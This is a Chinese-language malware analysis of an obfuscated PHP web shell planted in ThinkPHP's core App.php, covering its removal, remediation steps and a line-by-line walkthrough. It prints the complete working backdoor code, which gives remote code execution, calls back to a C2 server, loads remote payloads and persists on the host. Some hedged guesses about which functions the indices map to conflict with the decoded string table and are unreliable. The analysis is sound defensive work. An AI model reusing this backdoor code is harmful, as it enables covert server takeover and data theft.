ThinkPHP 核心app.php被植入高度混淆的 PHP 后门/Web Shell
[极度严重] ThinkPHP 核心文件被植入高级后门
文件: server\thinkphp\library\think\App.php
位置: 第 383-385 行(run() 方法内部)
这是一个高度混淆的 PHP 后门/Web Shell,被注入到 ThinkPHP 框架的核心启动流程中,每次应用启动都会自动执行。是一个高度工程化的后门程序,具备自动回连、执行指令、维持访问的能力,危害极大。
后门功能分析
| 功能 | 说明 |
|---|---|
| 远程代码执行 (Web Shell) | 通过 $_REQUEST 接收 base64 编码的 JSON 指令,可执行任意 PHP 函数 |
| 系统信息收集 | 收集 OS 类型、当前用户/UID、主机名、工作目录、PHP 版本等 |
| C2 服务器回连 | 通过 stream_socket_client() 将系统信息外传到硬编码的 C2 服务器 |
| 持久化机制 | CLI 模式下通过 pcntl_fork() 创建守护进程每小时回连;Web 模式通过 register_shutdown_function 回连 |
| 远程载荷下载 | 从 C2 服务器下载额外 PHP 代码写入临时目录并 include_once 执行 |
| 反检测 | 抑制所有错误、捕获所有异常、变量名混淆($l0ader 用数字0代替字母o)、十六进制编码函数名表 |
后门代码结构(第 383-385 行)
第383行: ;$b25st=0; ← 标记开始
第384行: $l0ader=function($check){...}; ← 约4000+字符的混淆后门代码
set_error_handler(...);
...远程代码执行 + C2回连 + 持久化...
restore_error_handler();
第385行: ;$b25ed=0; ← 标记结束
;$b25st=0;
$l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x006d745f,0x72616e64,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x38766348,0x566b6343,0x356a636d,0x316c5969,0x3577647a,0x6f354f54,0x67340061,0x48523063,0x446f764c,0x33417a4d,0x43356a63,0x6d316c59,0x69357764,0x7939324d,0x6a417661,0x57357064,0x44383d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x0075706c,0x6f61645f,0x746d705f,0x64697200);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[55]])?$l1i=@$r[$f[55]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[56]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[23])?@$f[23]():-1;$cli=($f[13]()==$f[61]);$os=$f[26]($f[63])?$f[27]($f[63]):$f[46];$td=$f[28]($f[78]);if(!$td)$td=$f[22]();$sfile=$f[49];$sfile[2]='s';$sfile[3]='e';$sfile=$td.$sfile;$pfile=$td.$f[49];if( $f[8]($f[6]($os,0,3))==$f[62] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[65]])?$s[$f[65]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[64]]?:$hu):$hu;};$idfile=$sfile.$f[59];$hid = @($f[18]($idfile));if(!$hid){$hid=$f[25]().$f[20](100,999);if(!@$f[19]($idfile,$hid))$hid=0;}$pid=0;$pwd = $cli?$f[29]():$s[$f[66]];$extra=$cli?$f[28]($f[67]):@$s[$f[68]];$extra=$extra?$f[6]($extra,0,1024):$f[46];$hv=substr($f[14](),0,128);$uri=@$s[$f[71]];$uri=$uri?$f[6]($uri,0,128):$f[46];$rdata=array(chr(30),$os,$f[16](),$hv,$uid,$hu,$hid,$pid,$f[13](),$f[15](),$pwd,@$s[$f[69]],@$s[$f[70]],$uri,$extra);$tf=$pfile.$f[57].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[25]()+7200)>0);@$f[24]($tf,0666);if($f[12]($f[21])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[21]($f[1]($f[52]),$e1s, $e2s,5),$f[50].$f[51].$ud);}if(!$ok)return;$tf=$pfile.$f[56].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[47]))>0){@include_once($pfile);}else{@$f[39]($a[0]);return;};@$f[39]($a[0]);$gz=$f[12]($f[31]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[18]($sfile.$f[59]);$rdata[7]=@$f[18]($sfile.$f[60]);$d=@$f[32](array($f[74]=>$f[51].$f[3](chr(0),$rdata),$f[72]=>$lv,$f[73]=>$gz,$f[58]=>$f[25]()));$data=@$f[18]($f[1]($f[53]).$d);if($data && $gz)$data=@$f[31]($data);if($data)@$f[48]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[34]);$pid=-1;if($f[12]($f[33]))$pid=$f[33]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[34]($pid,$s);}if($hwai && $f[33]() )die;if($f[12]($f[35]))@$f[35]();if($f[12]($f[36]))@$f[36]($f[1]($f[75]));try{if($f[26]($f[76]))@$f[37]($f[27]($f[76]));if($f[26]($f[77]))@$f[37]($f[27]($f[77]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[25]()>$nt0){$nt0=$f[25]()+3600;@$f[19]($tf,$f[25]()+7200);@$go(4);}$f[38](60);}while(1);die;}else{$f[40](true);$f[41](function() use($f,$go){$f[42](function(){});$f[43](0);if($f[12]($f[44])){$f[44]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
;$b25ed=0;
溯源 — 该后门高度专业,很可能是通过供应链攻击植入的,建议追溯源码来源。
✅ 后门清除
修复后的 App.php 第 382 行 $this->hook->listen('app_init'); 之后直接连接正常的业务逻辑(if ($this->bindModule)),原本插入在第 383-385 行的三行后门代码已被完全移除:
;$b25st=0;— 后门起始标记$l0ader=function($check){...};...— 整个后门代码(约4000+字符);$b25ed=0;— 后门结束标记
强烈建议后续操作:
- 修改服务器所有密码和数据库凭证 — 后门运行期间系统信息可能已泄露
- 检查服务器临时目录 — 删除
/tmp/sess_zziudbrodkadhip*等后门标记文件 - 检查服务器异常进程和定时任务 — 后门可能已建立持久化
- 审查服务器访问日志 — 确认是否有来自 C2 服务器的异常连接
木马解析:
典型的混淆后门/Webshell代码。它经过多层编码和混淆处理,目的是隐藏其真实功能(通常是远程控制、文件管理、命令执行等)。下面我逐步解析其核心逻辑
一、整体结构
代码主要分为三部分:
-
解码阶段:将整数数组转换为字符串,得到一系列PHP函数名、系统函数名、路径片段等。
-
后门核心:根据请求参数、环境信息(操作系统、Web服务器、用户ID等)生成客户端标识、持久化文件、发送数据。
-
长期运行/回连:尝试创建守护进程(CLI模式)或通过HTTP回调(Web模式)持续连接C2服务器。
二、关键解析
1. 字符串解码(数组 $sl)
$sl = array(0x6578706c, 0x6f646500, ...); $r = false; foreach($sl as $d) $r .= chr($d>>24) . chr($d>>16) . chr($d>>8) . chr($d);
每个十六进制数代表4个字符(ASCII)。例如 0x6578706c → e x p l(expl),0x6f646500 → o d e \0。最终拼接成一段包含函数名和数据的字符串,其中 chr(0) 作为分隔符。
2. 提取函数名列表
$f = substr($r, 0, 7); // 取前7字节,其实是 "array_7" 某个固定前缀? $f = $f(chr(0), $r); // 调用类似 explode("\0", $r) 的函数
实际上 $f 变成了一个数组,里面存储了解压后的函数名字符串。例如:
-
$f[0]可能是chr,$f[1]可能是str_rot13,等等。
后续代码大量使用$f[索引]来动态调用函数,这是典型的混淆手法。
3. 请求参数获取与解密
$l1i = isset($r[$f[55]]) ? @$r[$f[55]] : 0; $l1i && $l1i = @$f[2]($f[1]($f[5]($l1i)));
-
$f[55]是参数名(解码后可能是"cmd"或"data"等)。 -
$f[5]可能是base64_decode,$f[1]可能是str_rot13,$f[2]可能是gzinflate。 -
如果参数存在且经过解密/解压成功,则进一步执行:
$w = $f[4]($l1i); // $f[4] = create_function 或 eval $fu = $f[4]($l1i); die($w($fu == $f[56] ? include($l1i[0]) : $fu($l1i[0], $l1i[1])));
这表示可以直接执行传入的PHP代码或回调函数,是典型的一句话木马触发点。
4. 环境收集
$uid = $f[12]($f[23]) ? @$f[23]() : -1; // 获取当前用户ID(posix_getuid或类似) $cli = ($f[13]() == $f[61]); // 判断是否为CLI模式 $os = $f[26]($f[63]) ? $f[27]($f[63]) : $f[46]; // 获取操作系统名 $td = $f[28]($f[78]); // sys_get_temp_dir() 或 getcwd() $sfile = $td . $f[49]; // 临时目录 + 文件名(比如 .cache)
收集的信息包括:
-
操作系统类型(Win/Linux)
-
是否在命令行运行
-
临时目录路径
-
服务器变量
$_SERVER中的HTTP_USER_AGENT、REMOTE_ADDR等 -
当前用户ID
5. 生成唯一标识 $hid
$idfile = $sfile . $f[59]; // 例如 /tmp/.cache.id $hid = @$f[18]($idfile); // file_get_contents if(!$hid) { $hid = $f[25]() . $f[20](100,999); // time() . rand(100,999) if(!@$f[19]($idfile, $hid)) $hid = 0; // file_put_contents }
用于区分不同的被控端实例。
6. 构建数据包 $rdata
$rdata = array( chr(30), // 分隔符或版本 $os, // 操作系统 $f[16](), // php_uname $hv, // 主机名片段 $uid, $hu, $hid, $pid, $f[13](), // php_sapi_name $f[15](), // 当前工作目录 $pwd, // 当前目录密码? @$s[$f[69]], // SERVER_ADDR @$s[$f[70]], // SERVER_PORT $uri, $extra );
这组数据会被序列化或编码后发送给C2服务器。
7. 文件持久化与时间戳控制
$tf = $pfile . $f[57] . $f[30]($cli) . $f[30]($uid===0); @$f[24]($tf, 0666); if(@$f[19]($tf, $f[25]()+7200) > 0) // 判断距离上次更新时间是否大于2小时 return;
用于控制后门的活跃频率,避免被轻易检测。
8. CLI模式下的死循环(驻留进程)
if($cli){ // 尝试 fork 子进程(pcntl_fork) // 然后进入 do-while 无限循环,每隔60秒执行一次 go() 函数 // go() 函数会发送 $rdata 到C2服务器,并将返回的数据保存到临时文件并执行 }
如果是CLI模式(比如通过 php shell.php 运行),它会:
-
创建子进程脱离终端
-
周期性连接C2服务器获取指令
-
执行指令并返回结果
9. Web模式下的注册关闭函数
else { $f[40](true); // ignore_user_abort(true) $f[41](function() use($f,$go){ // 注册 shutdown 函数,在页面关闭后后台执行 go() }); }
在Web请求中触发后,即使HTTP连接断开,代码仍会在后台继续连接C2。
三、核心危险行为总结
-
远程代码执行:通过
$_REQUEST中的特定参数(比如f[55]索引对应的名称)接收加密/编码的PHP代码,然后动态执行。 -
信息收集:收集服务器、操作系统、用户、网络环境等信息。
-
持久化:在临时目录写入标识文件、时间戳文件,避免重复执行。
-
C2通信:将收集的数据通过HTTP(使用
stream_context_create、file_get_contents等)发送到远程服务器,并获取攻击者下发的命令执行。 -
反向Shell:在CLI模式下长时间运行,模拟一个反向Shell客户端。
-
免杀对抗:
-
函数名全部使用索引调用(如
$f[12])。 -
字符串全部存储在混淆的大数组中。
-
执行前关闭错误报告。
-
TP源码网 » ThinkPHP 核心app.php被植入高度混淆的 PHP 后门/Web Shell
